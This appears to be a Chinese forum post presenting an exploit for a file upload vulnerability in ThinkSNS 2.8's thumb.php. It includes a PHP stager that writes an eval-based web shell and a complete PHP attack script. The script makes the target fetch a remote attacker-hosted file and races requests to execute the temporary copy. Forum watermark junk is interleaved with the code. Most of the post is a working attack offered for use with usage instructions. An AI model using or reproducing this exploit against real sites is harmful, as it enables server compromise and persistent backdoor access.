Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
- e9 F$ {6 e! u& f2 i3 a* u1 O漏洞文件
: j$ T! `) y3 A3 v6 p4 B! {- G存在漏洞的文件为：thumb.php
, r' n/ G8 y) s; f4 O& m$ A, j) |$ ?作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
" a% W$ B1 T2 |' R  M& _* a$ t2、        计算出临时的文件名：
* [+ A1 w8 ?1 M* y这里我们可以看文件的99行（刚刚是不是没注意呀！）。
3 G3 c' N+ M8 [1 b' r
3、        上传临时文件。
4、        访问临时文件。
2 U* d  z9 X$ u/ `9 ]3 }但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
4 r! R: Y+ j$ P7 `( C<?php
& U( @' R+ p7 d* I- Y- ~error_reporting(0);
set_time_limit(0);
  g9 T4 F- G& o% q6 {ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
9 X" c. _$ H" Y2 q$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
0 k' m6 N' Q+ Cfputs($fp, $headers);
' A* n- M6 m! W0 Jreturn $fp;
" Y& h7 l6 V: _4 Q1 v! ~}
function http_recv($fp) {
$ret=”";
0 K% d; e6 f( w2 J5 wwhile (!feof($fp))
$ret.= fgets($fp, 1024);
4 T/ L+ A6 [5 i7 G0 Yfclose($fp);
return $ret;
* v- P+ _1 f; C* }' J}
9 D% o3 w: G+ p' Hprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
+ H0 k6 m5 n( r. x( rif ($argc < 4) {
% D1 f9 e( a" [0 k6 hprint “Usage:   php <host> <path> <romote_url>\n”;
0 i4 l/ E. V/ |1 ]# X( `print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
' K/ i: T8 b8 h9 M$host = $argv[1];
$path = $argv[2];
' N  d# U/ X& M' Z& e* A$url = $argv[3];
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
+ I2 k# B2 L; j) U( D# U6 u% M$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
( N; U# P0 U2 p* G- W$headers .= “Connection: close\r\n\r\n”;
echo $headers;
' w" s* u/ e) Jwhile(++$i<10) {
5 |; P% u8 r  A* E5 xfclose(http_send($host, 80, $headers));
- P* x1 z; \% H- P- H, q}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$ C4 }% {/ ?3 T5 O8 T8 w1 w$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
" W4 m% h/ M& _2 ]% C$headers .= “Host: “.$host.”\r\n”;
1 E# c$ p- I) S! D! L$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
- g. N$ Z3 V. F- Xprint “Success!\n\n”;
} else {
: M) C% z3 f0 E5 k: ^print “Fail!\n\n”;
( {5 ]% D+ @- ^' A}
?>
​